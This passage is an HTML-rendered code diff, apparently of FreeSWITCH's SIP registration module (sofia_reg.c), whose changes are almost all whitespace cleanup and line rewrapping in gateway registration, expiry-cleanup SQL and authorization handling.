</span><span class="cx">                         user_via = NULL;
</span><span class="lines">@@ -336,15 +319,16 @@
</span><span class="cx">                 case REG_STATE_UNREGED:
</span><span class="cx">                         gateway_ptr-&gt;status = SOFIA_GATEWAY_DOWN;
</span><span class="cx">                         gateway_ptr-&gt;retry = 0;
</span><del>-                        
-                        if (!gateway_ptr-&gt;nh) sofia_reg_new_handle(gateway_ptr, now ? 1 : 0);
</del><span class="cx"> 
</span><ins>+                        if (!gateway_ptr-&gt;nh)
+                                sofia_reg_new_handle(gateway_ptr, now ? 1 : 0);
+
</ins><span class="cx">                         if (sofia_glue_check_nat(gateway_ptr-&gt;profile, gateway_ptr-&gt;register_proxy)) {
</span><span class="cx">                                 user_via = sofia_glue_create_external_via(NULL, gateway_ptr-&gt;profile, gateway_ptr-&gt;register_transport);
</span><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, &quot;Registering %s\n&quot;, gateway_ptr-&gt;name);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (now) {
</span><span class="cx">                                 nua_register(gateway_ptr-&gt;nh,
</span><span class="cx">                                                          NUTAG_URL(gateway_ptr-&gt;register_url),
</span><span class="lines">@@ -352,7 +336,7 @@
</span><span class="cx">                                                          TAG_IF(user_via, SIPTAG_VIA_STR(user_via)),
</span><span class="cx">                                                          SIPTAG_TO_STR(gateway_ptr-&gt;distinct_to ? gateway_ptr-&gt;register_to : gateway_ptr-&gt;register_from),
</span><span class="cx">                                                          SIPTAG_CONTACT_STR(gateway_ptr-&gt;register_contact),
</span><del>-                                                         SIPTAG_FROM_STR(gateway_ptr-&gt;register_from),                                         
</del><ins>+                                                         SIPTAG_FROM_STR(gateway_ptr-&gt;register_from),
</ins><span class="cx">                                                          SIPTAG_EXPIRES_STR(gateway_ptr-&gt;expires_str),
</span><span class="cx">                                                          NUTAG_REGISTRAR(gateway_ptr-&gt;register_proxy),
</span><span class="cx">                                                          NUTAG_OUTBOUND(&quot;no-options-keepalive&quot;), NUTAG_OUTBOUND(&quot;no-validate&quot;), NUTAG_KEEPALIVE(0), TAG_NULL());
</span><span class="lines">@@ -368,7 +352,7 @@
</span><span class="cx">                                                            NUTAG_OUTBOUND(&quot;no-options-keepalive&quot;), NUTAG_OUTBOUND(&quot;no-validate&quot;), NUTAG_KEEPALIVE(0), TAG_NULL());
</span><span class="cx">                         }
</span><span class="cx">                         gateway_ptr-&gt;retry = now + gateway_ptr-&gt;retry_seconds;
</span><del>-                        gateway_ptr-&gt;state = REG_STATE_TRYING;                        
</del><ins>+                        gateway_ptr-&gt;state = REG_STATE_TRYING;
</ins><span class="cx">                         switch_safe_free(user_via);
</span><span class="cx">                         user_via = NULL;
</span><span class="cx">                         break;
</span><span class="lines">@@ -379,16 +363,16 @@
</span><span class="cx"> 
</span><span class="cx">                                 if (gateway_ptr-&gt;failure_status == 503) {
</span><span class="cx">                                         sec = gateway_ptr-&gt;retry_seconds;
</span><del>-                                } else{
</del><ins>+                                } else {
</ins><span class="cx">                                         sec = gateway_ptr-&gt;retry_seconds * (gateway_ptr-&gt;failures + 1);
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 gateway_ptr-&gt;retry = switch_epoch_time_now(NULL) + sec;
</span><span class="cx">                                 gateway_ptr-&gt;status = SOFIA_GATEWAY_DOWN;
</span><span class="cx">                                 gateway_ptr-&gt;state = REG_STATE_FAIL_WAIT;
</span><span class="cx">                                 gateway_ptr-&gt;failure_status = 0;
</span><span class="cx"> 
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;%s Failed Registration, setting retry to %d seconds.\n&quot;, 
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;%s Failed Registration, setting retry to %d seconds.\n&quot;,
</ins><span class="cx">                                                                   gateway_ptr-&gt;name, sec);
</span><span class="cx"> 
</span><span class="cx">                         }
</span><span class="lines">@@ -436,12 +420,10 @@
</span><span class="cx">         dst = sofia_glue_get_destination(argv[3]);
</span><span class="cx">         switch_assert(dst);
</span><span class="cx"> 
</span><del>-        nh = nua_handle(profile-&gt;nua, NULL, SIPTAG_FROM_STR(profile-&gt;url), SIPTAG_TO_STR(to), NUTAG_URL(dst-&gt;contact), SIPTAG_CONTACT_STR(profile-&gt;url), TAG_END());
</del><ins>+        nh = nua_handle(profile-&gt;nua, NULL, SIPTAG_FROM_STR(profile-&gt;url), SIPTAG_TO_STR(to), NUTAG_URL(dst-&gt;contact), SIPTAG_CONTACT_STR(profile-&gt;url),
+                                        TAG_END());
</ins><span class="cx">         nua_handle_bind(nh, &amp;mod_sofia_globals.destroy_private);
</span><del>-        nua_options(nh, 
-                                TAG_IF(dst-&gt;route_uri, NUTAG_PROXY(dst-&gt;route_uri)),
-                                TAG_IF(dst-&gt;route, SIPTAG_ROUTE_STR(dst-&gt;route)),
-                                TAG_END());
</del><ins>+        nua_options(nh, TAG_IF(dst-&gt;route_uri, NUTAG_PROXY(dst-&gt;route_uri)), TAG_IF(dst-&gt;route, SIPTAG_ROUTE_STR(dst-&gt;route)), TAG_END());
</ins><span class="cx"> 
</span><span class="cx">         sofia_glue_free_destination(dst);
</span><span class="cx"> 
</span><span class="lines">@@ -462,7 +444,8 @@
</span><span class="cx">         return 0;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-void sofia_reg_send_reboot(sofia_profile_t *profile, const char *user, const char *host, const char *contact, const char *user_agent, const char *network_ip)
</del><ins>+void sofia_reg_send_reboot(sofia_profile_t *profile, const char *user, const char *host, const char *contact, const char *user_agent,
+                                                   const char *network_ip)
</ins><span class="cx"> {
</span><span class="cx">         const char *event = &quot;check-sync&quot;;
</span><span class="cx">         const char *contenttype = &quot;application/simple-message-summary&quot;;
</span><span class="lines">@@ -487,7 +470,7 @@
</span><span class="cx">         if ((nh = nua_handle_by_call_id(profile-&gt;nua, argv[0]))) {
</span><span class="cx">                 nua_handle_destroy(nh);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return 0;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -495,7 +478,7 @@
</span><span class="cx"> {
</span><span class="cx">         switch_event_t *s_event;
</span><span class="cx">         sofia_profile_t *profile = (sofia_profile_t *) pArg;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (argc &gt; 12 &amp;&amp; atoi(argv[12]) == 1) {
</span><span class="cx">                 sofia_reg_send_reboot(profile, argv[1], argv[2], argv[3], argv[7], argv[11]);
</span><span class="cx">         }
</span><span class="lines">@@ -561,18 +544,16 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         sql = switch_mprintf(&quot;select call_id,sip_user,sip_host,contact,status,rpid,expires&quot;
</span><del>-                                        &quot;,user_agent,server_user,server_host,profile_name,network_ip&quot;
-                                        &quot;,%d from sip_registrations where call_id='%q' %s&quot;, 
-                                        reboot, call_id, sqlextra);
</del><ins>+                                                 &quot;,user_agent,server_user,server_host,profile_name,network_ip&quot;
+                                                 &quot;,%d from sip_registrations where call_id='%q' %s&quot;, reboot, call_id, sqlextra);
</ins><span class="cx">         switch_safe_free(sqlextra);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_lock(profile-&gt;ireg_mutex);
</span><span class="cx">         sofia_glue_execute_sql_callback(profile, NULL, sql, sofia_reg_del_callback, profile);
</span><span class="cx">         switch_mutex_unlock(profile-&gt;ireg_mutex);
</span><span class="cx">         switch_safe_free(sql);
</span><del>-        
-        sql = switch_mprintf(&quot;delete from sip_registrations where call_id='%q' or (sip_user='%q' and sip_host='%q')&quot;, 
-                                        call_id, user, host);
</del><ins>+
+        sql = switch_mprintf(&quot;delete from sip_registrations where call_id='%q' or (sip_user='%q' and sip_host='%q')&quot;, call_id, user, host);
</ins><span class="cx">         sofia_glue_execute_sql(profile, &amp;sql, SWITCH_FALSE);
</span><span class="cx"> 
</span><span class="cx">         switch_safe_free(sql);
</span><span class="lines">@@ -592,13 +573,12 @@
</span><span class="cx">                                                 &quot;,%d from sip_registrations where expires &gt; 0 and expires &lt;= %ld&quot;, reboot, (long) now);
</span><span class="cx">         } else {
</span><span class="cx">                 switch_snprintf(sql, sizeof(sql), &quot;select call_id,sip_user,sip_host,contact,status,rpid,expires&quot;
</span><del>-                                                &quot;,user_agent,server_user,server_host,profile_name,network_ip&quot;
-                                                &quot;,%d from sip_registrations where expires &gt; 0&quot;, reboot);
</del><ins>+                                                &quot;,user_agent,server_user,server_host,profile_name,network_ip&quot; &quot;,%d from sip_registrations where expires &gt; 0&quot;, reboot);
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         sofia_glue_execute_sql_callback(profile, NULL, sql, sofia_reg_del_callback, profile);
</span><span class="cx">         if (now) {
</span><del>-                switch_snprintf(sql, sizeof(sql), &quot;delete from sip_registrations where expires &gt; 0 and expires &lt;= %ld and hostname='%s'&quot;, 
</del><ins>+                switch_snprintf(sql, sizeof(sql), &quot;delete from sip_registrations where expires &gt; 0 and expires &lt;= %ld and hostname='%s'&quot;,
</ins><span class="cx">                                                 (long) now, mod_sofia_globals.hostname);
</span><span class="cx">         } else {
</span><span class="cx">                 switch_snprintf(sql, sizeof(sql), &quot;delete from sip_registrations where expires &gt; 0 and hostname='%s'&quot;, mod_sofia_globals.hostname);
</span><span class="lines">@@ -610,11 +590,10 @@
</span><span class="cx"> 
</span><span class="cx">         if (now) {
</span><span class="cx">                 switch_snprintf(sql, sizeof(sql), &quot;select call_id from sip_shared_appearance_dialogs where hostname='%s' &quot;
</span><del>-                                                &quot;and profile_name='%s' and expires &lt;= %ld&quot;, 
-                                                mod_sofia_globals.hostname, profile-&gt;name, (long) now);
-        
</del><ins>+                                                &quot;and profile_name='%s' and expires &lt;= %ld&quot;, mod_sofia_globals.hostname, profile-&gt;name, (long) now);
+
</ins><span class="cx">                 sofia_glue_execute_sql_callback(profile, NULL, sql, sofia_sla_dialog_del_callback, profile);
</span><del>-                switch_snprintf(sql, sizeof(sql), &quot;delete from sip_registrations where expires &gt; 0 and hostname='%s' and expires &lt;= %ld&quot;, 
</del><ins>+                switch_snprintf(sql, sizeof(sql), &quot;delete from sip_registrations where expires &gt; 0 and hostname='%s' and expires &lt;= %ld&quot;,
</ins><span class="cx">                                                 mod_sofia_globals.hostname, (long) now);
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="lines">@@ -623,7 +602,7 @@
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx">         if (now) {
</span><del>-                switch_snprintf(sql, sizeof(sql), &quot;delete from sip_presence where expires &gt; 0 and expires &lt;= %ld and hostname='%s'&quot;, 
</del><ins>+                switch_snprintf(sql, sizeof(sql), &quot;delete from sip_presence where expires &gt; 0 and expires &lt;= %ld and hostname='%s'&quot;,
</ins><span class="cx">                                                 (long) now, mod_sofia_globals.hostname);
</span><span class="cx">         } else {
</span><span class="cx">                 switch_snprintf(sql, sizeof(sql), &quot;delete from sip_presence where expires &gt; 0 and hostname='%s'&quot;, mod_sofia_globals.hostname);
</span><span class="lines">@@ -632,7 +611,7 @@
</span><span class="cx">         sofia_glue_actually_execute_sql(profile, sql, NULL);
</span><span class="cx"> 
</span><span class="cx">         if (now) {
</span><del>-                switch_snprintf(sql, sizeof(sql), &quot;delete from sip_authentication where expires &gt; 0 and expires &lt;= %ld and hostname='%s'&quot;, 
</del><ins>+                switch_snprintf(sql, sizeof(sql), &quot;delete from sip_authentication where expires &gt; 0 and expires &lt;= %ld and hostname='%s'&quot;,
</ins><span class="cx">                                                 (long) now, mod_sofia_globals.hostname);
</span><span class="cx">         } else {
</span><span class="cx">                 switch_snprintf(sql, sizeof(sql), &quot;delete from sip_authentication where expires &gt; 0 and hostname='%s'&quot;, mod_sofia_globals.hostname);
</span><span class="lines">@@ -643,17 +622,17 @@
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx">         if (now) {
</span><del>-                switch_snprintf(sql, sizeof(sql), &quot;select call_id from sip_subscriptions where (expires = -1 or (expires &gt; 0 and expires &lt;= %ld)) and hostname='%s'&quot;, 
-                                                (long) now, mod_sofia_globals.hostname);
-        } else {
-                switch_snprintf(sql, sizeof(sql), &quot;select call_id from sip_subscriptions where expires &gt;= -1 and hostname='%s'&quot;, 
</del><ins>+                switch_snprintf(sql, sizeof(sql),
+                                                &quot;select call_id from sip_subscriptions where (expires = -1 or (expires &gt; 0 and expires &lt;= %ld)) and hostname='%s'&quot;, (long) now,
</ins><span class="cx">                                                 mod_sofia_globals.hostname);
</span><ins>+        } else {
+                switch_snprintf(sql, sizeof(sql), &quot;select call_id from sip_subscriptions where expires &gt;= -1 and hostname='%s'&quot;, mod_sofia_globals.hostname);
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         sofia_glue_execute_sql_callback(profile, NULL, sql, sofia_sub_del_callback, profile);
</span><span class="cx"> 
</span><span class="cx">         if (now) {
</span><del>-                switch_snprintf(sql, sizeof(sql), &quot;delete from sip_subscriptions where (expires = -1 or (expires &gt; 0 and expires &lt;= %ld)) and hostname='%s'&quot;, 
</del><ins>+                switch_snprintf(sql, sizeof(sql), &quot;delete from sip_subscriptions where (expires = -1 or (expires &gt; 0 and expires &lt;= %ld)) and hostname='%s'&quot;,
</ins><span class="cx">                                                 (long) now, mod_sofia_globals.hostname);
</span><span class="cx">         } else {
</span><span class="cx">                 switch_snprintf(sql, sizeof(sql), &quot;delete from sip_subscriptions where expires &gt;= -1 and hostname='%s'&quot;, mod_sofia_globals.hostname);
</span><span class="lines">@@ -663,7 +642,7 @@
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx">         if (now) {
</span><del>-                switch_snprintf(sql, sizeof(sql), &quot;delete from sip_dialogs where (expires = -1 or (expires &gt; 0 and expires &lt;= %ld)) and hostname='%s'&quot;, 
</del><ins>+                switch_snprintf(sql, sizeof(sql), &quot;delete from sip_dialogs where (expires = -1 or (expires &gt; 0 and expires &lt;= %ld)) and hostname='%s'&quot;,
</ins><span class="cx">                                                 (long) now, mod_sofia_globals.hostname);
</span><span class="cx">         } else {
</span><span class="cx">                 switch_snprintf(sql, sizeof(sql), &quot;delete from sip_dialogs where expires &gt;= -1 and hostname='%s'&quot;, mod_sofia_globals.hostname);
</span><span class="lines">@@ -699,8 +678,8 @@
</span><span class="cx">         cbt.len = len;
</span><span class="cx"> 
</span><span class="cx">         if (host) {
</span><del>-                switch_snprintf(sql, sizeof(sql), &quot;select contact from sip_registrations where sip_user='%s' and (sip_host='%s' or presence_hosts like '%%%s%%')&quot;
-                                                , user, host, host);
</del><ins>+                switch_snprintf(sql, sizeof(sql), &quot;select contact from sip_registrations where sip_user='%s' and (sip_host='%s' or presence_hosts like '%%%s%%')&quot;,
+                                                user, host, host);
</ins><span class="cx">         } else {
</span><span class="cx">                 switch_snprintf(sql, sizeof(sql), &quot;select contact from sip_registrations where sip_user='%s'&quot;, user);
</span><span class="cx">         }
</span><span class="lines">@@ -727,8 +706,8 @@
</span><span class="cx">         switch_uuid_format(uuid_str, &amp;uuid);
</span><span class="cx"> 
</span><span class="cx">         sql = switch_mprintf(&quot;insert into sip_authentication (nonce,expires,profile_name,hostname, last_nc) &quot;
</span><del>-                                                 &quot;values('%q', %ld, '%q', '%q', 0)&quot;, uuid_str, 
-                                                 switch_epoch_time_now(NULL) + (profile-&gt;nonce_ttl ? profile-&gt;nonce_ttl : DEFAULT_NONCE_TTL), 
</del><ins>+                                                 &quot;values('%q', %ld, '%q', '%q', 0)&quot;, uuid_str,
+                                                 switch_epoch_time_now(NULL) + (profile-&gt;nonce_ttl ? profile-&gt;nonce_ttl : DEFAULT_NONCE_TTL),
</ins><span class="cx">                                                  profile-&gt;name, mod_sofia_globals.hostname);
</span><span class="cx">         switch_assert(sql != NULL);
</span><span class="cx">         sofia_glue_actually_execute_sql(profile, sql, profile-&gt;ireg_mutex);
</span><span class="lines">@@ -791,7 +770,7 @@
</span><span class="cx">         /* all callers must confirm that sip, sip-&gt;sip_request and sip-&gt;sip_contact are not NULL */
</span><span class="cx">         switch_assert(sip != NULL &amp;&amp; sip-&gt;sip_contact != NULL &amp;&amp; sip-&gt;sip_request != NULL);
</span><span class="cx"> 
</span><del>-        sofia_glue_get_addr(nua_current_request(nua), network_ip,  sizeof(network_ip), &amp;network_port);
</del><ins>+        sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &amp;network_port);
</ins><span class="cx"> 
</span><span class="cx">         snprintf(network_port_c, sizeof(network_port_c), &quot;%d&quot;, network_port);
</span><span class="cx"> 
</span><span class="lines">@@ -807,14 +786,16 @@
</span><span class="cx">                 from_user = from-&gt;a_url-&gt;url_user;
</span><span class="cx">                 from_host = from-&gt;a_url-&gt;url_host;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (to) {
</span><span class="cx">                 to_user = to-&gt;a_url-&gt;url_user;
</span><span class="cx">                 to_host = to-&gt;a_url-&gt;url_host;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        if (!to_user) to_user = from_user;
-        if (!to_host) to_host = from_host;
</del><ins>+        if (!to_user)
+                to_user = from_user;
+        if (!to_host)
+                to_host = from_host;
</ins><span class="cx"> 
</span><span class="cx">         if (!to_user || !to_host) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Can not do authorization without a complete header\n&quot;);
</span><span class="lines">@@ -839,18 +820,18 @@
</span><span class="cx">                 if (switch_stristr(&quot;transport=tls&quot;, sip-&gt;sip_contact-&gt;m_url-&gt;url_params)) {
</span><span class="cx">                         is_tls += 1;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (sip-&gt;sip_contact-&gt;m_url-&gt;url_type == url_sips) {
</span><span class="cx">                         proto = &quot;sips&quot;;
</span><span class="cx">                         is_tls += 2;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_stristr(&quot;transport=tcp&quot;, sip-&gt;sip_contact-&gt;m_url-&gt;url_params)) {
</span><span class="cx">                         is_tcp = 1;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 display = contact-&gt;m_display;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (is_nat) {
</span><span class="cx">                         if (is_tls) {
</span><span class="cx">                                 reg_desc = &quot;Registered(TLS-NAT)&quot;;
</span><span class="lines">@@ -890,7 +871,7 @@
</span><span class="cx">                 } else if (is_nat) {
</span><span class="cx">                         char my_contact_str[1024];
</span><span class="cx">                         if (sip-&gt;sip_contact-&gt;m_url-&gt;url_params) {
</span><del>-                                switch_snprintf(my_contact_str, sizeof(my_contact_str), &quot;sip:%s@%s:%d;%s&quot;, 
</del><ins>+                                switch_snprintf(my_contact_str, sizeof(my_contact_str), &quot;sip:%s@%s:%d;%s&quot;,
</ins><span class="cx">                                                                 contact-&gt;m_url-&gt;url_user, url_ip, network_port, sip-&gt;sip_contact-&gt;m_url-&gt;url_params);
</span><span class="cx">                         } else {
</span><span class="cx">                                 switch_snprintf(my_contact_str, sizeof(my_contact_str), &quot;sip:%s@%s:%d&quot;, contact-&gt;m_url-&gt;url_user, url_ip, network_port);
</span><span class="lines">@@ -914,7 +895,7 @@
</span><span class="cx"> 
</span><span class="cx">                 if (contact-&gt;m_url-&gt;url_params) {
</span><span class="cx">                         switch_snprintf(contact_str, sizeof(contact_str), &quot;%s &lt;%s:%s@%s%s;%s%s%s%s&gt;&quot;,
</span><del>-                                                        display, proto, contact-&gt;m_url-&gt;url_user, contact_host, new_port, 
</del><ins>+                                                        display, proto, contact-&gt;m_url-&gt;url_user, contact_host, new_port,
</ins><span class="cx">                                                         contact-&gt;m_url-&gt;url_params, received_data, is_nat ? &quot;;fs_nat=yes&quot; : &quot;&quot;, path_encoded ? path_encoded : &quot;&quot;);
</span><span class="cx">                 } else {
</span><span class="cx">                         switch_snprintf(contact_str, sizeof(contact_str), &quot;%s &lt;%s:%s@%s%s%s%s%s&gt;&quot;, display, proto, contact-&gt;m_url-&gt;url_user, contact_host, new_port,
</span><span class="lines">@@ -953,7 +934,7 @@
</span><span class="cx">                         char *allow_multireg = NULL;
</span><span class="cx"> 
</span><span class="cx">                         allow_multireg = switch_event_get_header(*v_event, &quot;sip-allow-multiple-registrations&quot;);
</span><del>-                        if ( allow_multireg &amp;&amp; switch_false(allow_multireg) ) {
</del><ins>+                        if (allow_multireg &amp;&amp; switch_false(allow_multireg)) {
</ins><span class="cx">                                 avoid_multi_reg = 1;
</span><span class="cx">                         }
</span><span class="cx"> 
</span><span class="lines">@@ -987,7 +968,7 @@
</span><span class="cx">                                         if (*received_data &amp;&amp; sofia_test_pflag(profile, PFLAG_RECIEVED_IN_NAT_REG_CONTACT)) {
</span><span class="cx">                                                 switch_snprintf(received_data, sizeof(received_data), &quot;;received=%s:%d&quot;, url_ip, network_port);
</span><span class="cx">                                         }
</span><del>-        
</del><ins>+
</ins><span class="cx">                                         if (!strcasecmp(v_contact_str, &quot;nat-connectile-dysfunction&quot;) ||
</span><span class="cx">                                                 !strcasecmp(v_contact_str, &quot;NDLB-connectile-dysfunction&quot;) || !strcasecmp(v_contact_str, &quot;NDLB-tls-connectile-dysfunction&quot;)) {
</span><span class="cx">                                                 if (contact-&gt;m_url-&gt;url_params) {
</span><span class="lines">@@ -1030,7 +1011,7 @@
</span><span class="cx">                         }
</span><span class="cx">                         if (auth_res == AUTH_FORBIDDEN) {
</span><span class="cx">                                 nua_respond(nh, SIP_403_FORBIDDEN, NUTAG_WITH_THIS(nua), TAG_END());
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 /* Log line added to support Fail2Ban */
</span><span class="cx">                                 if (sofia_test_pflag(profile, PFLAG_LOG_AUTH_FAIL)) {
</span><span class="cx">                                         if (regtype == REG_REGISTER) {
</span><span class="lines">@@ -1039,7 +1020,7 @@
</span><span class="cx">                                         } else if (regtype == REG_INVITE) {
</span><span class="cx">                                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;SIP auth failure (INVITE) on sofia profile '%s' &quot;
</span><span class="cx">                                                                                   &quot;for [%s@%s] from ip %s\n&quot;, profile-&gt;name, to_user, to_host, network_ip);
</span><del>-                                        }                                                                          
</del><ins>+                                        }
</ins><span class="cx">                                 }
</span><span class="cx">                         } else {
</span><span class="cx">                                 nua_respond(nh, SIP_401_UNAUTHORIZED, NUTAG_WITH_THIS(nua), TAG_END());
</span><span class="lines">@@ -1095,13 +1076,12 @@
</span><span class="cx">         switch_assert(call_id);
</span><span class="cx"> 
</span><span class="cx">         /* Does this profile supports multiple registrations ? */
</span><del>-        multi_reg = ( sofia_test_pflag(profile, PFLAG_MULTIREG) ) ? 1 : 0;
-        multi_reg_contact = ( sofia_test_pflag(profile, PFLAG_MULTIREG_CONTACT) ) ? 1 : 0;
</del><ins>+        multi_reg = (sofia_test_pflag(profile, PFLAG_MULTIREG)) ? 1 : 0;
+        multi_reg_contact = (sofia_test_pflag(profile, PFLAG_MULTIREG_CONTACT)) ? 1 : 0;
</ins><span class="cx"> 
</span><del>-        if ( multi_reg &amp;&amp; avoid_multi_reg ) {
-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, 
-                                        &quot;Disabling multiple registrations on a per-user basis for %s@%s\n&quot;, 
-                                        switch_str_nil(to_user), switch_str_nil(to_host) );
</del><ins>+        if (multi_reg &amp;&amp; avoid_multi_reg) {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
+                                                  &quot;Disabling multiple registrations on a per-user basis for %s@%s\n&quot;, switch_str_nil(to_user), switch_str_nil(to_host));
</ins><span class="cx">                 multi_reg = 0;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -1122,13 +1102,13 @@
</span><span class="cx"> 
</span><span class="cx">                 if (multi_reg) {
</span><span class="cx">                         if (multi_reg_contact) {
</span><del>-                                sql = switch_mprintf(&quot;delete from sip_registrations where sip_user='%q' and sip_host='%q' and contact='%q'&quot;, to_user, reg_host, contact_str);
</del><ins>+                                sql =
+                                        switch_mprintf(&quot;delete from sip_registrations where sip_user='%q' and sip_host='%q' and contact='%q'&quot;, to_user, reg_host, contact_str);
</ins><span class="cx">                         } else {
</span><span class="cx">                                 sql = switch_mprintf(&quot;delete from sip_registrations where call_id='%q'&quot;, call_id);
</span><span class="cx">                         }
</span><span class="cx">                 } else {
</span><del>-                        sql = switch_mprintf(&quot;delete from sip_registrations where sip_user='%q' and sip_host='%q'&quot;, 
-                                                                 to_user, reg_host);
</del><ins>+                        sql = switch_mprintf(&quot;delete from sip_registrations where sip_user='%q' and sip_host='%q'&quot;, to_user, reg_host);
</ins><span class="cx">                 }
</span><span class="cx">                 switch_mutex_lock(profile-&gt;ireg_mutex);
</span><span class="cx">                 sofia_glue_execute_sql(profile, &amp;sql, SWITCH_TRUE);
</span><span class="lines">@@ -1177,7 +1157,6 @@
</span><span class="cx">                                                           &quot;Register:\nFrom:    [%s@%s]\nContact: [%s]\nExpires: [%ld]\n&quot;, to_user, reg_host, contact_str, (long) exptime);
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                
</del><span class="cx"> #if 0
</span><span class="cx">                 if (switch_event_create(&amp;event, SWITCH_EVENT_PRESENCE_IN) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;proto&quot;, SOFIA_CHAT_PROTO);
</span><span class="lines">@@ -1192,7 +1171,7 @@
</span><span class="cx">                 }
</span><span class="cx"> #else
</span><span class="cx"> 
</span><del>-                if (sofia_test_pflag(profile, PFLAG_MESSAGE_QUERY_ON_REGISTER) || 
</del><ins>+                if (sofia_test_pflag(profile, PFLAG_MESSAGE_QUERY_ON_REGISTER) ||
</ins><span class="cx">                         (reg_count == 1 &amp;&amp; sofia_test_pflag(profile, PFLAG_MESSAGE_QUERY_ON_FIRST_REGISTER))) {
</span><span class="cx"> 
</span><span class="cx">                         if (switch_event_create(&amp;event, SWITCH_EVENT_PRESENCE_PROBE) == SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -1211,7 +1190,7 @@
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx">         } else {
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_event_create(&amp;event, SWITCH_EVENT_PRESENCE_OUT) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;proto&quot;, SOFIA_CHAT_PROTO);
</span><span class="cx">                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;rpid&quot;, rpid);
</span><span class="lines">@@ -1247,7 +1226,8 @@
</span><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                         if (multi_reg_contact) {
</span><del>-                                sql = switch_mprintf(&quot;delete from sip_subscriptions where sip_user='%q' and sip_host='%q' and contact='%q'&quot;, to_user, reg_host, contact_str);
</del><ins>+                                sql =
+                                        switch_mprintf(&quot;delete from sip_subscriptions where sip_user='%q' and sip_host='%q' and contact='%q'&quot;, to_user, reg_host, contact_str);
</ins><span class="cx">                         } else {
</span><span class="cx">                                 sql = switch_mprintf(&quot;delete from sip_subscriptions where call_id='%q'&quot;, call_id);
</span><span class="cx">                         }
</span><span class="lines">@@ -1255,7 +1235,8 @@
</span><span class="cx">                         sofia_glue_execute_sql(profile, &amp;sql, SWITCH_TRUE);
</span><span class="cx"> 
</span><span class="cx">                         if (multi_reg_contact) {
</span><del>-                                sql = switch_mprintf(&quot;delete from sip_registrations where sip_user='%q' and sip_host='%q' and contact='%q'&quot;, to_user, reg_host, contact_str);
</del><ins>+                                sql =
+                                        switch_mprintf(&quot;delete from sip_registrations where sip_user='%q' and sip_host='%q' and contact='%q'&quot;, to_user, reg_host, contact_str);
</ins><span class="cx">                         } else {
</span><span class="cx">                                 sql = switch_mprintf(&quot;delete from sip_registrations where call_id='%q'&quot;, call_id);
</span><span class="cx">                         }
</span><span class="lines">@@ -1284,8 +1265,8 @@
</span><span class="cx">                 if (exptime) {
</span><span class="cx">                         switch_snprintf(exp_param, sizeof(exp_param), &quot;expires=%ld&quot;, exptime);
</span><span class="cx">                         sip_contact_add_param(nua_handle_home(nh), sip-&gt;sip_contact, exp_param);
</span><del>-                        
-                        if (sofia_test_pflag(profile, PFLAG_MESSAGE_QUERY_ON_REGISTER) || 
</del><ins>+
+                        if (sofia_test_pflag(profile, PFLAG_MESSAGE_QUERY_ON_REGISTER) ||
</ins><span class="cx">                                 (reg_count == 1 &amp;&amp; sofia_test_pflag(profile, PFLAG_MESSAGE_QUERY_ON_FIRST_REGISTER))) {
</span><span class="cx">                                 if (switch_event_create(&amp;s_event, SWITCH_EVENT_MESSAGE_QUERY) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, &quot;Message-Account&quot;, &quot;sip:%s@%s&quot;, mwi_user, mwi_host);
</span><span class="lines">@@ -1304,18 +1285,15 @@
</span><span class="cx">                                 switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, &quot;expires&quot;, &quot;%ld&quot;, (long) exptime);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_rfc822_date(date, switch_micro_time_now());
</span><span class="cx">                 nua_respond(nh, SIP_200_OK, SIPTAG_CONTACT(sip-&gt;sip_contact),
